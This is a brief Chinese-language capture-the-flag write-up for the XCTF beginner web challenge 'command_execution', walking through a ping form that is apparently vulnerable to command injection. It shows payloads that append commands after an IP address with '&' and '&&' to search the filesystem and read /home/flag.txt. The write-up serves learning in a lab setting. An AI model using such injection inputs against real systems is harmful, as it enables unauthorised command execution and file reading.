XCTF Web 新手区011:command_execution
题目:
WP:
打开题目场景
尝试ping一下本地地址127.0.0.1
试使用命令连接符,因为我们知道flag在flag.txt中,所以我们查找该文件
127.0.0.1 & find / -name flag.txt
可以看到/home/flag.txt的字样
于是,我们打印这个文件127.0.0.1&&cat /home/flag.txt ,拿到flag:
(这里的cat命令用于查询文件内容)